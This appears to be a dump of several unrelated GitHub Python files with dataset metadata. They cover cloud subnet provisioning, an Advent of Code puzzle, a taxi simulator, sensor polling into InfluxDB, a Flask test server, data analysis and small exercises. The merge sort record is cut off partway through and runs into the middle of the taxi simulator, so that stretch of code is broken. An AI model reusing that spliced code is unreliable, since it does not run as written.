e:\n raise NonRecoverableError(\"Create network failed: {}.\".format(e))\n else:\n ctx.logger.info('Start to create subnet...')\n subnet_name = validate_parameter('subnet_name', self.resource_config)\n cidr_block = validate_parameter('cidr_block', self.resource_config)\n zone = validate_parameter('available_zone_id', self.resource_config)\n request_body = {\n 'SubnetName': subnet_name,\n 'CidrBlock': cidr_block,\n 'Zone': zone,\n 'VpcId': vpc_id\n }\n ctx.logger.info('Try to Create subnet with parameters:{}'.format(request_body))\n try:\n subnet_info = NetworkHelper().create_subnet(request_body)\n except Exception as e:\n raise NonRecoverableError(\"Create network failed...messages: {}.\".format(e))\n self.set_base_runtime_props(resource_id=subnet_info['SubnetId'], name=subnet_info['SubnetName'])\n ctx.instance.runtime_properties['vpc_info'] = vpc_info\n ctx.instance.runtime_properties['subnet_info'] = subnet_info\n ctx.logger.info('Created subnet successfully...vpc:{},subnet:{}'.format(vpc_id, subnet_info['SubnetId']))\n\n def delete(self, **kwargs):\n ctx.logger.info('Start to delete subnet...')\n ret_msg = \"Delete subnet successfully...\"\n if not self.use_external_resource:\n subnet_id = ctx.instance.runtime_properties['subnet_info']['SubnetId']\n request_body = {\n 'SubnetId': subnet_id\n }\n ctx.logger.info('Try to delete subnet with parameters:{}'.format(request_body))\n timeout = time.time() + 600 # default timeout:10min\n while time.time() < timeout:\n try:\n NetworkHelper().delete_subnet(request_body)\n except Exception as e:\n ret_msg = str(e)\n if \"ResourceInUse\" in ret_msg:\n time.sleep(10)\n continue\n else:\n ret_msg = 'Delete subnet:{} failed,Error Message:{}'.format(subnet_id, e)\n clear_runtime_properties()\n ctx.logger.info(ret_msg)\n break\n else:\n clear_runtime_properties()\n ctx.logger.info('Delete subnet:{} failed,Error Message:{}'.format(subnet_id, ret_msg))\n else:\n clear_runtime_properties()\n ctx.logger.info(ret_msg)\n","repo_name":"CloudChef/cloud-entries","sub_path":"cloudentries/tencentcloud/lifecycles/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5505273740","text":"# Steven Woods\n# Advent of Code 2018\n# Day 11: Chronal Charge\n# To run: python3 charge.py\n\n\ndef find_power(row_idx, col_idx):\n\trow_idx += 1\n\tcol_idx += 1\n\track_id = col_idx + 10\n\tpower_level = (rack_id*row_idx + serial_number) * rack_id\n\ttry:\n\t\thundreds = int(str(power_level)[-3])\n\texcept IndexError:\n\t\thundreds = int(0)\n\tpower_level = hundreds - 5\n\treturn power_level\n\n\nmin_square = int(input(\"Enter minimum square size: \"))\nmax_square = int(input(\"Enter maximum square size: \"))\nserial_number = int(input(\"Please enter the grid serial number: \"))\ngrid = [[None] * 300 for num in range (300)]\nfor row_idx in range(len(grid)):\n\tfor col_idx in range(len(grid[0])):\n\t\tpower_level = find_power(row_idx, col_idx)\n\t\tgrid[row_idx][col_idx] = power_level\n\npower_sums = dict()\nfor row_idx in range(len(grid)):\n print(f\"Counting squares originating from cells in row {row_idx}...\")\n for col_idx in range(len(grid[0])): # For each cell co-ordinate\n power_sum = 0\n \n for square_len in range(1, max_square + 1): # For every size of square\n if square_len > len(grid) - row_idx or square_len > len(grid[0]) - col_idx:\n break\n for row_offset in range(square_len):\n power_sum += grid[row_idx + row_offset][col_idx + square_len - 1] # To get right-most cells of square\n for col_offset in range(square_len):\n power_sum += grid[row_idx + square_len - 1][col_idx + col_offset] # To get bottom cells of square\n power_sum -= grid[row_idx + square_len - 1][col_idx + square_len - 1] # Remove val of BR as added twice\n tl_coords = str(col_idx + 1) + \",\" + str(row_idx + 1)\n\n if square_len >= min_square:\n try:\n power_sums[tl_coords][square_len] = power_sum\n except KeyError:\n power_sums[tl_coords] = {square_len: power_sum}\n\nlargest_sum, chosen = (), ()\nfor cell in power_sums:\n\tfor square_len in power_sums[cell]:\n\t\ttry:\n\t\t\tif power_sums[cell][square_len] > largest_sum:\n\t\t\t\tlargest_sum = power_sums[cell][square_len]\n\t\t\t\tchosen = [cell, square_len]\n\t\texcept TypeError:\n\t\t\tlargest_sum = power_sums[cell][square_len]\n\t\t\tchosen = [cell, square_len]\n\ncell, square_len = chosen\nprint(f\"\"\"\nThe chosen square is {square_len}x{square_len}.\nThe coordinates of the top-left cell are {cell}.\nThe total power level is {largest_sum}.\n\"\"\")\n\n# For printing the chosen square:\n\n#col_idx, row_idx = cell.split(\",\")\n#col_idx = int(col_idx) - 1\n#row_idx = int(row_idx) - 1\n#for row in range(row_idx, row_idx + square_len):\n#\tfor col in range(col_idx, col_idx + square_len):\n#\t\tprint(grid[row][col], end = \"\\t\")\n#\tprint(\"\\n\")\n","repo_name":"stevenjwoods/Advent-of-Code-2018","sub_path":"Day 11 - Chronal Charge/charge.py","file_name":"charge.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42629810244","text":"def merge(left,right):\n result=[]\n i,j=0,0\n while i>> \").lower()\n while choice not in VALID_CHOICES:\n print(\"Invalid option\")\n print(MENU)\n choice = input(\">>> \").lower()\n while choice != \"q\":\n if choice == \"c\":\n print(\"Taxis available: \")\n display_taxis(taxis)\n taxi_choice = int(input(\"Choose taxi: \"))\n try:\n chosen_taxi = taxis[taxi_choice]\n except IndexError:\n print(\"Invalid taxi choice\")\n elif choice == \"d\":\n if chosen_taxi:\n chosen_taxi.start_fare()\n drive_distance = float(input(\"Drive how far? \"))\n chosen_taxi.drive(drive_distance)\n trip_cost = chosen_taxi.get_fare()\n print(f\"Your {chosen_taxi.name} trip cost you ${trip_cost:.2f}\")\n bill += trip_cost\n else:\n print(\"You need to choose a taxi before you can drive\")\n else:\n print(\"Invalid option\")\n print(f\"Bill to date: ${bill:.2f}\")\n print(MENU)\n choice = input(\">>> \").lower()\n\n print(f\"Total trip cost: ${bill:.2f}\")\n print(\"Taxis are now:\")\n display_taxis(taxis)\n\n\ndef display_taxis(taxis):\n \"\"\"Display organised list of taxis.\"\"\"\n for i, taxi in enumerate(taxis):\n print(f\"{i} - {taxi}\")\n\n\nmain()\n","repo_name":"amberhogarth/cp1404practicals","sub_path":"prac_09/taxi_simulator.py","file_name":"taxi_simulator.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17958693208","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Created by: Andrés Segura-Tinoco\n Version: 0.1\n Created on: Nov 21, 2023\n Updated on: Nov 23, 2023\n Description: Library of utility functions.\n\"\"\"\n\nimport json\nimport os\nimport csv\nimport pandas as pd\n\n\ndef concatenate_texts_from_jsonl(json_data, field_name):\n concatenated_text = \"\"\n if json_data:\n texts = [line[field_name] for line in json_data]\n concatenated_text = \" \".join(texts)\n return concatenated_text\n\n\ndef load_stopwords(solution_path: str, lang: str):\n stopwords = []\n\n file_path = f\"{solution_path}/nltk_stopwords/{lang}.txt\"\n with open(file_path, \"r\", encoding=\"utf-8\") as file:\n stopwords = [line.rstrip() for line in file]\n\n return set(stopwords)\n\n\ndef read_csv_with_encoding(filename):\n encodings = [\"utf-8\", \"ISO-8859-1\", \"latin1\", \"cp1252\"]\n\n for encoding in encodings:\n try:\n df = pd.read_csv(filename, encoding=encoding)\n print(\"File successfully read with encoding:\", encoding)\n return df\n except UnicodeDecodeError:\n print(\"Error reading file with encoding:\", encoding)\n\n # Return None if the file could not be read with any encoding\n return None\n\n\ndef read_jsonl_data(folder_path: str):\n # List to store texts\n jsonl_data = {}\n\n # Get the list of files in the folder\n files = os.listdir(folder_path)\n file_ext = \".jsonl\"\n\n # Process each file in the folder\n for file_name in files:\n # Check if the file is a JSONL file (with extension .jsonl)\n if file_name.endswith(file_ext):\n file_path = os.path.join(folder_path, file_name)\n jsonl = read_jsonl_file(file_path)\n\n if len(jsonl) > 0:\n jsonl_data[file_name.replace(file_ext, \"\")] = jsonl\n\n return jsonl_data\n\n\ndef read_jsonl_file(file_path: str):\n jsonl = []\n\n try:\n with open(file_path, \"r\", encoding=\"utf-8\") as file:\n for line in file:\n json_object = json.loads(line)\n jsonl.append(json_object)\n\n except UnicodeDecodeError as e:\n print(f\"Error reading file {file_path}: {e}\")\n\n return jsonl\n\n\n# Function to remove stopwords\ndef remove_stopwords(text: str, stopwords, min_size: int = 3):\n words = text.split()\n filtered_words = [\n word for word in words if word.lower() not in stopwords and len(word) > min_size\n ]\n return \" \".join(filtered_words)\n\n\ndef save_dict_to_json(output_file: str, data: dict, indent: int):\n if len(data) and indent >= 0:\n # Convert the dictionary to an indented JSON string\n json_data = json.dumps(data, indent=indent)\n\n # Write the JSON string to a file\n with open(output_file, \"w\") as file:\n file.write(json_data)\n\n\n# Using csv.writer method from CSV package\ndef save_list_to_csv(file_path: str, columns: list, data: list):\n if len(columns) and len(data):\n with open(file_path, \"w\", newline=\"\") as f:\n write = csv.writer(f)\n write.writerow(columns)\n write.writerows(data)\n","repo_name":"argrecsys/dgov-visual-analytics","sub_path":"code/etls/util_libs.py","file_name":"util_libs.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32405911102","text":"import re\nfrom flask import Flask, make_response, request, Response\n\napp = Flask(__name__)\n\nclass BadRequest(KeyError):\n status_code = 403\n def __init__(self, message):\n super(BadRequest, self).__init__()\n self.message = message\n\n@app.errorhandler(BadRequest)\ndef handle_missing_parameters(error):\n response = make_response(error.message)\n response.status_code = error.status_code\n return response\n\n@app.route(\"/\")\ndef homepage():\n return make_response(\"Welcome to a home page.\")\n\n@app.route(\"/contact\", methods=[\"GET\", \"POST\"])\ndef contact():\n if request.method in [\"GET\"]:\n return \"email and message fields are required\"\n else:\n try:\n email = request.form[\"email\"]\n except KeyError:\n raise BadRequest(\"email field is required\")\n try:\n message = request.form[\"message\"]\n except KeyEform:\n raise BadRequest(\"message field is required\")\n\n if not re.compile('[\\w.-]+@[\\w.-]+').match(email):\n raise BadRequest(\"{email} is not a valid email address\".format(\n email=email))\n return make_response(\"I got your message, thank you. Stay tune!\")\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"yeukhon/py-zest","sub_path":"tests/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14593920158","text":"from json import loads\nimport urllib.request\nfrom datetime import datetime\nfrom pytz import timezone\nfrom influxdb import InfluxDBClient\n\n\"\"\"\nQuery deCONZ Zigbee Gateway specificly for AQARA Multi Sensor, which provides\ntemperature, humidity and pressure data.\n\nQuery via deCONZ REST API\n\n\"\"\"\n\n___version___ = 0.3\n\n# General Configuration\ndeconzServerIPandPort = \"CHANGE\"\ndeconzAPIKey = \"CHANGE\"\n\n# InfluxDB Configuration\ndatabaseHost = \"CHANGE\"\ndatabasePort = \"CHANGE\"\ndatabaseDatabase = \"CHANGE\"\ndatabaseUsername = \"CHANGE\"\ndatabasePassword = \"CHANGE\"\n\n# Static Sensor Information\naqaraSesnorIdentifier = \"LUMI\"\naqaraSensorModelID = \"lumi.weather\"\naqaraSensorTypeTemperature = \"ZHATemperature\"\naqaraSensorTypeHumidty = \"ZHAHumidity\"\naqaraSensorTypePressure = \"ZHAPressure\"\n\n# API URL\nurl = \"http://\" + deconzServerIPandPort + \"/api/\" + deconzAPIKey + \"/sensors/\"\n\ndef getAPIResult():\n\n \"\"\"Function to get the REST API result needed from 'url'\"\"\"\n\n # Get data from REST API\n restApiUrlOpen = urllib.request.urlopen(url, timeout=5).read()\n result = loads(restApiUrlOpen)\n return result\n\ndef getEnvSensors():\n\n \"\"\"Function to get a List - EnvSensorNames with all enviroment sensors names from the AQARA Sensor\"\"\"\n\n contents = getAPIResult()\n\n EnvSensorNames = []\n for key, value in contents.items():\n\n # Convert Key values (based on REST API return of \"url\")\n contentsSensorIdentifier = contents[key]['manufacturername']\n contentsSensorModelID = contents[key]['modelid']\n contentsSensorName = contents[key]['name']\n contentsSensorType = contents[key]['type']\n\n if contentsSensorIdentifier == aqaraSesnorIdentifier and contentsSensorModelID == aqaraSensorModelID:\n\n if contentsSensorType == aqaraSensorTypeTemperature or contentsSensorType == aqaraSensorTypeHumidty or contentsSensorType == aqaraSensorTypePressure:\n\n # Append Sensor name to List\n EnvSensorNames.append(contentsSensorName)\n\n # Convert to uniqe entries only\n EnvSensorNames = list(set(EnvSensorNames))\n\n return EnvSensorNames\n\ndef connectToDatabase():\n\n \"\"\"Function to initiate Database Connection\"\"\"\n\n # Database Connection: (influxdb)\n influxClient = InfluxDBClient(\n host=databaseHost,\n port=databasePort,\n database=databaseDatabase,\n username=databaseUsername,\n password=databasePassword,\n timeout=5)\n\n return influxClient\n\ndef getEnvSensorValues():\n\n \"\"\"Thin function poll data from REST API creates DICT with correct format for INFLUXDB and inserts the data to the InfluxDB.\"\"\"\n sensorDataJsonBody = {}\n sensorDataJsonBody['time'] = datetime.now(timezone('Europe/Vienna'))\n\n data = getAPIResult()\n\n for key, value in data.items():\n\n dataSensor = data[key]['name']\n dataSensorType = data[key]['type']\n\n sensorName = getEnvSensors()\n for i in range(len(getEnvSensors())):\n\n if dataSensor == sensorName[i] and dataSensorType == aqaraSensorTypeTemperature:\n\n sensorDataJsonBody['measurement'] = sensorName[i]\n sensorDataJsonBody['tags'] = { 'sensor': 'temperature' }\n sensorDataJsonBody['fields'] = { 'value': data[key]['state']['temperature'] }\n connectToDatabase().write_points([sensorDataJsonBody])\n\n elif dataSensor == sensorName[i] and dataSensorType == aqaraSensorTypeHumidty:\n\n sensorDataJsonBody['measurement'] = sensorName[i]\n sensorDataJsonBody['tags'] = { 'sensor': 'humidity' }\n sensorDataJsonBody['fields'] = { 'value': data[key]['state']['humidity'] }\n connectToDatabase().write_points([sensorDataJsonBody])\n\n elif dataSensor == sensorName[i] and dataSensorType == aqaraSensorTypePressure:\n\n sensorDataJsonBody['measurement'] = sensorName[i]\n sensorDataJsonBody['tags'] = { 'sensor': 'pressure' }\n sensorDataJsonBody['fields'] = { 'value': data[key]['state']['pressure'] }\n connectToDatabase().write_points([sensorDataJsonBody])\n\n return\n\ngetEnvSensorValues()\n","repo_name":"gerbecd-py/deconz-aqara-multisensor","sub_path":"deconz_aqara_multisensor.py","file_name":"deconz_aqara_multisensor.py","file_ext":"py","file_size_in_byte":4316,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"74573675879","text":"import argparse\nimport glob\nimport multiprocessing as mp\nimport os\nimport sys\nimport warnings\n\nimport numpy as np\nimport pandas as pd\nimport scipy.stats\nimport tqdm\n\nimport fastpli.analysis\nimport models\nimport parameter\n\n# arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\",\n \"--input\",\n type=str,\n required=True,\n help=\"input path.\")\nparser.add_argument(\"-p\",\n \"--num_proc\",\n default=1,\n type=int,\n help=\"Number of processes.\")\nargs = parser.parse_args()\n\nos.makedirs(os.path.join(args.input, \"analysis\"), exist_ok=True)\n\nTHESIS = os.path.join(os.path.realpath(__file__).split('/thesis/')[0], 'thesis')\nFILE_NAME = os.path.abspath(__file__)\nFILE_PATH = os.path.dirname(FILE_NAME)\nFILE_BASE = os.path.basename(FILE_NAME)\nFILE_NAME = os.path.splitext(FILE_BASE)[0]\nCONFIG = parameter.get_tupleware()\n\nhist_polar_bin = lambda n: np.linspace(\n -np.pi / 2, np.pi / 2, n + 1, endpoint=True)\n\n\ndef polar_hist(phi, theta):\n phi = np.array(phi)\n theta = np.array(theta)\n\n incl = np.pi / 2 - theta\n\n # remap to phi->[-np.pi/2, np.pi/2], incl->[-np.pi/2, np.pi/2]\n phi[phi > np.pi * 3 / 2] -= 2 * np.pi\n incl[phi > np.pi / 2] = -incl[phi > np.pi / 2]\n phi[phi > np.pi / 2] -= np.pi\n\n if np.any(incl < -np.pi / 2) or np.any(incl > np.pi / 2):\n raise ValueError(\"FOOO incl\")\n if np.any(phi < -np.pi / 2) or np.any(phi > np.pi / 2):\n raise ValueError(\"FOOO phi\")\n\n # direction\n h, x = np.histogram(phi, hist_polar_bin(180), density=True)\n phi_x = x[:-1] + (x[1] - x[0]) / 2\n phi_h = h / np.amax(h)\n\n # inclination\n h, x = np.histogram(incl, hist_polar_bin(180), density=True)\n incl_x = x[:-1] + (x[1] - x[0]) / 2\n incl_h = h / np.amax(h)\n\n return phi_x, phi_h, incl_x, incl_h\n\n\ndef calc_omega_stat(p, t):\n\n v0 = np.array([np.cos(p) * np.sin(t), np.sin(p) * np.sin(t), np.cos(t)])\n v1 = v0[:, 0].copy()\n\n for v in v0.T[1:, :]:\n s = np.dot(v1, v)\n\n if s > 0:\n v1 += v\n else:\n v1 -= v\n v1 /= np.linalg.norm(v1)\n\n # print(v1)\n\n data = np.empty(v0.shape[1])\n\n for i in range(v0.shape[1]):\n d = np.abs(np.dot(v0[:, i], v1)) # because orientation\n data[i] = np.rad2deg(np.arccos(d))\n\n return v1, np.mean(data), np.std(data), np.quantile(data, [0.25, 0.5, 0.75])\n\n\ndef run(df):\n\n file = df[\"fiber\"]\n\n phis, thetas = models.fb_ori_from_file(file, 0, 0, CONFIG.simulation.voi)\n domegas = [calc_omega_stat(p, t) for p, t in zip(phis, thetas)]\n if len(domegas) == 1:\n domegas.append([np.array([0, 0, 0]), 0, 0, [0, 0, 0]])\n\n phi, theta = models.ori_from_file(file, 0, 0, CONFIG.simulation.voi)\n phi_x, phi_h, incl_x, incl_h = polar_hist(phi, theta)\n\n # 2d hist\n h, x, y, _ = fastpli.analysis.orientation.histogram(phi,\n theta,\n n_phi=36 * 2,\n n_theta=18,\n weight_area=True)\n\n # INIT\n file = file.replace(\"solved\", \"init\")\n file = file.replace(\"tmp\", \"init\")\n\n phis, thetas = models.fb_ori_from_file(file, 0, 0, CONFIG.simulation.voi)\n domegas_init = [calc_omega_stat(p, t) for p, t in zip(phis, thetas)]\n if len(domegas_init) == 1:\n domegas_init.append([np.array([0, 0, 0]), 0, 0, [0, 0, 0]])\n\n phi, theta = models.ori_from_file(file, 0, 0, CONFIG.simulation.voi)\n phi_init_x, phi_init_h, incl_init_x, incl_init_h = polar_hist(phi, theta)\n\n # print(domegas)\n # print(domegas_init)\n\n return pd.DataFrame([[\n df.omega, df.psi, df.radius, phi_x, phi_h, incl_x, incl_h, phi_init_x,\n phi_init_h, incl_init_x, incl_init_h, h, x, y, df.rep_n % 24,\n domegas[0][0], domegas[0][1], domegas[0][2], domegas[0][3][0],\n domegas[0][3][1], domegas[0][3][2], domegas[1][0], domegas[1][1],\n domegas[1][2], domegas[1][3][0], domegas[1][3][1], domegas[1][3][2],\n domegas_init[0][0], domegas_init[0][1], domegas_init[0][2],\n domegas_init[0][3][0], domegas_init[0][3][1], domegas_init[0][3][2],\n domegas_init[1][0], domegas_init[1][1], domegas_init[1][2],\n domegas_init[1][3][0], domegas_init[1][3][1], domegas_init[1][3][2]\n ]],\n columns=[\n \"omega\", \"psi\", \"radius\", \"phi_x\", \"phi_h\",\n \"incl_x\", \"incl_h\", \"phi_init_x\", \"phi_init_h\",\n \"incl_init_x\", \"incl_init_h\", \"hist_2d_h\",\n \"hist_2d_x\", \"hist_2d_y\", \"rep_n\", \"omega_0\",\n \"omega_mean_0\", \"omega_std_0\", \"omega_25_0\",\n \"omega_50_0\", \"omega_75_0\", \"omega_1\",\n \"omega_mean_1\", \"omega_std_1\", \"omega_25_1\",\n \"omega_50_1\", \"omega_75_1\", \"omega_init_0\",\n \"omega_init_mean_0\", \"omega_init_std_0\",\n \"omega_init_25_0\", \"omega_init_50_0\",\n \"omega_init_75_0\", \"omega_init_1\",\n \"omega_init_mean_1\", \"omega_init_std_1\",\n \"omega_init_25_1\", \"omega_init_50_1\",\n \"omega_init_75_1\"\n ])\n\n\ndef main():\n\n if False or not os.path.isfile(\n os.path.join(args.input, \"analysis\", \"cube_2pop.pkl\")):\n print(\"calculating data\")\n df = pd.read_pickle(os.path.join(args.input, \"cube_2pop.pkl\"))\n df = df[df.state != \"init\"]\n df = [df.iloc[i] for i in range(df.shape[0])]\n # df = [df[0]] # debug\n\n with mp.Pool(processes=args.num_proc) as pool:\n df = [\n _ for _ in tqdm.tqdm(\n pool.imap_unordered(run, df), total=len(df), smoothing=0)\n ]\n\n # exit(1)\n\n df = pd.concat(df, ignore_index=True)\n df.to_pickle(os.path.join(args.input, \"analysis\", \"cube_2pop.pkl\"))\n else:\n print(\"loading data\")\n df = pd.read_pickle(\n os.path.join(args.input, \"analysis\", \"cube_2pop.pkl\"))\n\n # print(df.columns)\n # print(df.dtypes)\n df_ = df[[\n 'omega',\n 'psi',\n 'radius',\n 'rep_n',\n 'omega_mean_0',\n 'omega_std_0',\n 'omega_25_0',\n 'omega_50_0',\n 'omega_75_0',\n 'omega_mean_1',\n 'omega_std_1',\n 'omega_25_1',\n 'omega_50_1',\n 'omega_75_1',\n 'omega_init_mean_0',\n 'omega_init_std_0',\n 'omega_init_25_0',\n 'omega_init_50_0',\n 'omega_init_75_0',\n 'omega_init_mean_1',\n 'omega_init_std_1',\n 'omega_init_25_1',\n 'omega_init_50_1',\n 'omega_init_75_1',\n ]]\n # print(df_)\n df_.to_csv(os.path.join(args.input, \"analysis\", 'omegas.csv'), index=False)\n\n df___ = []\n for o in df.omega.unique():\n for p in df.psi.unique():\n # for r in df.radius.unique():\n r = 0.5\n df_ = df[(df.omega == o) & (df.psi == p) & (df.radius == r)]\n\n if len(df_) == 0:\n continue\n\n print(o, p, r)\n print(\n # df_.omega_init_0,\n f'{np.mean(df_.omega_init_mean_0):.1f} +- {np.std(df_.omega_init_mean_0):.1f},',\n f'{np.mean(df_.omega_init_std_0):.1f} +- {np.std(df_.omega_init_std_0):.1f},',\n f'{np.mean(df_.omega_init_25_0):.1f} +- {np.std(df_.omega_init_25_0):.1f},',\n f'{np.mean(df_.omega_init_50_0):.1f} +- {np.std(df_.omega_init_50_0):.1f},',\n f'{np.mean(df_.omega_init_75_0):.1f} +- {np.std(df_.omega_init_75_0):.1f},'\n )\n print(\n # df_.omega_0,\n f'{np.mean(df_.omega_mean_0):.1f} +- {np.std(df_.omega_mean_0):.1f},',\n f'{np.mean(df_.omega_std_0):.1f} +- {np.std(df_.omega_std_0):.1f},',\n f'{np.mean(df_.omega_25_0):.1f} +- {np.std(df_.omega_25_0):.1f},',\n f'{np.mean(df_.omega_50_0):.1f} +- {np.std(df_.omega_50_0):.1f},',\n f'{np.mean(df_.omega_75_0):.1f} +- {np.std(df_.omega_75_0):.1f},'\n )\n print(\n # df_.omega_init_1,\n f'{np.mean(df_.omega_init_mean_1):.1f} +- {np.std(df_.omega_init_mean_1):.1f},',\n f'{np.mean(df_.omega_init_std_1):.1f} +- {np.std(df_.omega_init_std_1):.1f},',\n f'{np.mean(df_.omega_init_25_1):.1f} +- {np.std(df_.omega_init_25_1):.1f},',\n f'{np.mean(df_.omega_init_50_1):.1f} +- {np.std(df_.omega_init_50_1):.1f},',\n f'{np.mean(df_.omega_init_75_1):.1f} +- {np.std(df_.omega_init_75_1):.1f},'\n )\n print(\n # df_.omega_1,\n f'{np.mean(df_.omega_mean_1):.1f} +- {np.std(df_.omega_mean_1):.1f},',\n f'{np.mean(df_.omega_std_1):.1f} +- {np.std(df_.omega_std_1):.1f},',\n f'{np.mean(df_.omega_25_1):.1f} +- {np.std(df_.omega_25_1):.1f},',\n f'{np.mean(df_.omega_50_1):.1f} +- {np.std(df_.omega_50_1):.1f},',\n f'{np.mean(df_.omega_75_1):.1f} +- {np.std(df_.omega_75_1):.1f},'\n )\n\n df__ = {}\n df__['omega'] = o\n df__['psi'] = p\n df__['radius'] = r\n df__['state'] = 'init'\n df__['pop'] = 0\n df__['mean_mean'] = np.mean(df_.omega_init_mean_0)\n df__['std_mean'] = np.mean(df_.omega_init_std_0)\n df__['25_mean'] = np.mean(df_.omega_init_25_0)\n df__['50_mean'] = np.mean(df_.omega_init_50_0)\n df__['75_mean'] = np.mean(df_.omega_init_75_0)\n df__['mean_std'] = np.std(df_.omega_init_mean_0)\n df__['std_std'] = np.std(df_.omega_init_std_0)\n df__['25_std'] = np.std(df_.omega_init_25_0)\n df__['50_std'] = np.std(df_.omega_init_50_0)\n df__['75_std'] = np.std(df_.omega_init_75_0)\n df___.append(df__)\n\n df__ = {}\n df__['omega'] = o\n df__['psi'] = p\n df__['radius'] = r\n df__['state'] = 'solved'\n df__['pop'] = 0\n df__['mean_mean'] = np.mean(df_.omega_mean_0)\n df__['std_mean'] = np.mean(df_.omega_std_0)\n df__['25_mean'] = np.mean(df_.omega_25_0)\n df__['50_mean'] = np.mean(df_.omega_50_0)\n df__['75_mean'] = np.mean(df_.omega_75_0)\n df__['mean_std'] = np.std(df_.omega_mean_0)\n df__['std_std'] = np.std(df_.omega_std_0)\n df__['25_std'] = np.std(df_.omega_25_0)\n df__['50_std'] = np.std(df_.omega_50_0)\n df__['75_std'] = np.std(df_.omega_75_0)\n df___.append(df__)\n\n if p != 1:\n df__ = {}\n df__['omega'] = o\n df__['psi'] = p\n df__['radius'] = r\n df__['state'] = 'init'\n df__['pop'] = 1\n df__['mean_mean'] = np.mean(df_.omega_init_mean_1)\n df__['std_mean'] = np.mean(df_.omega_init_std_1)\n df__['25_mean'] = np.mean(df_.omega_init_25_1)\n df__['50_mean'] = np.mean(df_.omega_init_50_1)\n df__['75_mean'] = np.mean(df_.omega_init_75_1)\n df__['mean_std'] = np.std(df_.omega_init_mean_1)\n df__['std_std'] = np.std(df_.omega_init_std_1)\n df__['25_std'] = np.std(df_.omega_init_25_1)\n df__['50_std'] = np.std(df_.omega_init_50_1)\n df__['75_std'] = np.std(df_.omega_init_75_1)\n df___.append(df__)\n\n df__ = {}\n df__['omega'] = o\n df__['psi'] = p\n df__['radius'] = r\n df__['state'] = 'solved'\n df__['pop'] = 1\n df__['mean_mean'] = np.mean(df_.omega_mean_1)\n df__['std_mean'] = np.mean(df_.omega_std_1)\n df__['25_mean'] = np.mean(df_.omega_25_1)\n df__['50_mean'] = np.mean(df_.omega_50_1)\n df__['75_mean'] = np.mean(df_.omega_75_1)\n df__['mean_std'] = np.std(df_.omega_mean_1)\n df__['std_std'] = np.std(df_.omega_std_1)\n df__['25_std'] = np.std(df_.omega_25_1)\n df__['50_std'] = np.std(df_.omega_50_1)\n df__['75_std'] = np.std(df_.omega_75_1)\n df___.append(df__)\n\n df___ = pd.DataFrame(df___)\n\n df___.sort_values(['omega', 'psi', 'radius', 'pop', 'state'], inplace=True)\n\n df___.to_pickle(os.path.join(args.input, \"analysis\", 'omegas_ms.pkl'))\n df___.to_csv(os.path.join(args.input, \"analysis\", 'omegas_ms.csv'),\n index=False)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"fmatuschke/thesis_main","sub_path":"1_model/2_repo/cube_2pop_rep_analysis.py","file_name":"cube_2pop_rep_analysis.py","file_ext":"py","file_size_in_byte":12983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42721504273","text":"# 12 .Ler o ano atual e o ano de nascimento de uma pessoa. Escrever uma \r\n#mensagem que diga se ela poderá ou não votar este ano (não é necessário considerar o mês em que a pessoa nasceu).\r\n\r\ni = int(input('informe o ano de nascimento: '))\r\nv = 2021 - i\r\nif v >= 16:\r\n print('podera votar sua idade e ' , v , 'anos' )\r\nelse:\r\n print('nao poderar votar sua idade ' , v , 'anos')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"paulo-santos-ds/Python","sub_path":"lista3exercicio12.py","file_name":"lista3exercicio12.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2415453492","text":"'''Это дневник тренировок. сюда можно добавить тренировку и просмотреть\nдобавленные тренировки. Параметры тренировки: дата и сама тренировка, которая\nвключает в себя разминку, работу, заминку'''\ndef start():\n start_text = \"\\\n Hello! I'm your train diary. Enter number of menu:\\n\\\n (1) - add train\\n\\\n (2) - view traines\\n\\\n (3) - remove train\\n\"\n\n choose_menu = input(start_text)\n\n if choose_menu == '1':\n\n add_train()\n\n elif choose_menu == '2':\n\n view_train()\n\n elif choose_menu == '3':\n\n remove_train()\n\n else:\n\n start()\n\ndef add_train():\n date = input('Please enter the date train in format DD-MM-YYYY\\n')\n warm_up = input('Enter your warm up\\n')\n train_session = []\n recovery_session = []\n \n flag = ''\n i = 0\n\n while flag != 'end':\n\n train_session = input('Enter length of cut in secund\\n')\n recovery_session = input('Enter length of recovery in secund\\n')\n i +=1\n flag = input('Add new cut? Enter \"end\" if cuts is end')\n\n series = input('How many series you do?')\n\n \n\nstart()\n\n\n\n","repo_name":"start1810/run_coach","sub_path":"run_diary.py","file_name":"run_diary.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23505330637","text":"# PCA a la Oja\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nw = np.array([[-0.2,0.5]]).T; wTraj=w \na = -np.pi/6 \nrot = np.array([[np.cos(a),-np.sin(a)],\n [np.sin(a),np.cos(a)]]) \n\n# Training \nfor i in range(1000):\n rPre = 0.05*np.random.normal([0,0],[1,4]); \n rPre = rot@rPre\n plt.plot(rPre[0],rPre[1],'b.') \n rPost = rPre@w \n w = w+0.1*rPost*(rPre-rPost*w.T).T \n wTraj = np.append(wTraj,w,axis=1) \n \n# Plotting 